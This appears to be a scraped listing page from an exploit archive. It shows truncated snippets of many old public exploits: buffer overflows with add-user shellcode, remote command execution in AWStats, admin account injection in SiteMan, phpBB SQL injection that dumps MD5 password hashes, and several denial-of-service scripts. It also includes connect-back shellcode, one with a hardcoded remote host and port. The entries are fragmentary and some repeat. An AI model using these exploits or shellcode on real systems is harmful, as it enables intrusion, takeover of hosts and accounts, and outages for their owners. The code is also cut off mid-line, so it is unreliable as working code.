Savant Web Server 3.1 - Remote Buffer Overflow (1)

Savant web server Buffer Overflow Exploit Discovered by : Mati Aharoni Coded by : Tal Zeltzer and Mati Aharoni www.see-security.com FOR RESEACRH PURPOSES ONLY! import struct import socket sc = "\x90" 21 win32adduser - PASS=pwd EXITFUNC=thread USER=X Size=232 Encoder=PexFnstenvSub...

siteman.noam.txt

!/usr/bin/perl -w Exploit by Noam Rathaus - Beyond Security Ltd. Exploit for the SiteMan vulnerability discovered by: "amironline452" use Digest::MD5 qwmd5 md5hex md5base64; use IO::Socket; use strict; ./siteman.pl / vulnerable.host my $Path = shift; my $Host = shift; my $Username = shift; my...

AWStats 6.0 6.2 - configdir Remote Command Execution (Perl)

AWStats 6.0 6.2 - configdir Remote Command Execution Perl !/usr/bin/perl ---GHC--------------------------------- Remote command execution exploit Product: Advanced Web Statistics 6.0 - 6.2 URL:http://awstats.sourceforge.net Greets & respects to our friends: 1dt.w0lf and all rst.void.ru Special...

Siteman 1.1.10 - Remote Administrative Account Addition

Siteman 1.1.10 - Remote Administrative Account Addition !/usr/bin/perl -w Exploit by Noam Rathaus - Beyond Security Ltd. Exploit for the SiteMan vulnerability discovered by: "amironline452" use Digest::MD5 qwmd5 md5hex md5base64; use IO::Socket; use strict; ./siteman.pl / vulnerable.host my $Path...

phpBB v1.0.0 - 2.0.10 admin_cash.php remote exploit

Exploit for unknown platform in category web applications =================================================== phpBB v1.0.0 - 2.0.10 admincash.php remote exploit =================================================== / exploit for phpBB 1.0.0 - 2.0.10 edit the b4b0.php file with the correct url to yo...

linux/x86 connect 120 bytes

No description provided by source. / Connecting shellcode written by lamagra [email protected] http://lamagra.seKure.de May 2000 .file "connect" .version "01.01" .text .align 4 start: socketAFINET,SOCKSTREAM,IPPROTOIP; movl %esp,%ebp xorl %edx,%edx movb $102,%edx movl %edx,%eax 102 = socketcall...

bsd/x86 - connect 93 bytes

bsd/x86 connect 93 bytes. Shellcode exploit for bsdx86 platform / the back-connect shellcode. The destination addr is 0x28402ec3 rootteam.host.sk port is 0x8ae 2222. size = 93 bytes little isn't it? Greetz 2 sp00fed written by dev0id rus-sec /EFnet rootteam.host.sk BITS 32 jmp short path main: po...

CesarFTP Server Long Command Denial of Service Exploit

Exploit for unknown platform in category dos / poc ====================================================== CesarFTP Server Long Command Denial of Service Exploit ====================================================== / -----------------------------------------------------------------------...

WFTPD Pro Server 3.21 MLST Remote Denial of Service Exploit

No description provided by source. / ----------------------------------------------------------------------- wftpd.c - WFTPD Pro Server 3.21 MLST DoS Exploit Copyright C 2000-2004 HUC All Rights Reserved. Author : lion : lion cnhonker net : www cnhonker com Date : 2004-08-30...

CesarFTP Server - Long Command Denial of Service

CesarFTP Server - Long Command Denial of Service / ----------------------------------------------------------------------- cesarftp.c - Cesar FTP Server Long Command DoS Exploit Copyright C 2000-2004 HUC All Rights Reserved. Author : lion : [email protected] : http://www.cnhonker.com Date :...

Bird Chat 1.61 - Denial of Service

/ Bird Chat 1.61 - Denial Of Service - Proof Of Concept Coded by: Donato Ferrante / import java.net.Socket; import java.net.InetAddress; import java.net.ConnectException; import java.net.SocketTimeoutException; import java.io.OutputStream; import java.io.InputStream; public class BirdChat161DoSpo...

Microsoft Windows SMS 2.0 - Denial of Service

Microsoft Windows SMS 2.0 - Denial of Service !/usr/bin/perl SMS DOS proof of concept and test code use Socket; use IO::Socket; if @ARGV != 1 print "usage: $0 \n"; exit; $host = shift@ARGV; $hexmsg =...

MS Windows SMS 2.0 Denial of Service Exploit

Exploit for unknown platform in category dos / poc ============================================ MS Windows SMS 2.0 Denial of Service Exploit ============================================ !/usr/bin/perl SMS DOS proof of concept and test code use Socket; use IO::Socket; if @ARGV != 1 print "usage: $...

MS Windows SMS 2.0 Denial of Service Exploit

No description provided by source. !/usr/bin/perl SMS DOS proof of concept and test code use Socket; use IO::Socket; if @ARGV != 1 print "usage: $0 host or ip\n"; exit; $host = shift@ARGV; $hexmsg =...

OverByte ICS FTP Server - Remote Denial of Service

OverByte ICS FTP Server - Remote Denial of Service //--Exploit: //=========================================================== include include pragma commentlib, \"ws232.lib\" char Nonnullterminatedstring = \"AAAAAAAAAAAAAAAAAA\"; int mainint argc, char argv WSADATA wsaData; WORD...

OverByte ICS FTP Server Remote Denial of Service Exploit

Exploit for unknown platform in category dos / poc ======================================================== OverByte ICS FTP Server Remote Denial of Service Exploit ======================================================== --Exploit: //===========================================================...

Rlpr 2.04 - 'msg()' Remote Format String

by jaguar !/usr/bin/python import os, sys, socket, struct, time, telnetlib class rlprd: fd = None pad = 2 00000000 31DB xor ebx,ebx 00000002 F7E3 mul ebx 00000004 B003 mov al,0x3 00000006 80C304 add bl,0x4 00000009 89E1 mov ecx,esp 0000000B 4A dec edx 0000000C CC int3 0000000D CD80 int 0x80...

Monit 4.1 - Remote Buffer Overflow

!/usr/bin/perl monit \n\n"; exit0; print "HOST:\t$ARGV0\n"; print "PORT:\t2812\n"; my $buffer = "B" x 284 . "\xcf\x89\xb3\x40" . $shellcode; esp mandrake 9.1 my $buffer = "A" x 284 . "XXXX" . "B" x 100; dos and debug print "connecting to server...\n"; $socket = IO::Socket::INET - new PeerAddr =...

phpBB 2.0.6 - 'search_id' SQL Injection / MD5 Hash

!/usr/bin/perl -w use IO::Socket; PROOF-OF-CONCEPT work only with mysql ver 4.0 work only with post 1 Example: C:\r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2 prepare to connect... + connected prepare to send data... + OK wait for response... + MD5 Hash for user with id=2 is:...

CVE-2003-0794

GDM 2.4.4.x before 2.4.4.4, and 2.4.1.x before 2.4.1.7, does not limit the number or duration of commands and uses a blocking socket connection, which allows attackers to cause a denial of service resource exhaustion by sending commands and not reading the results...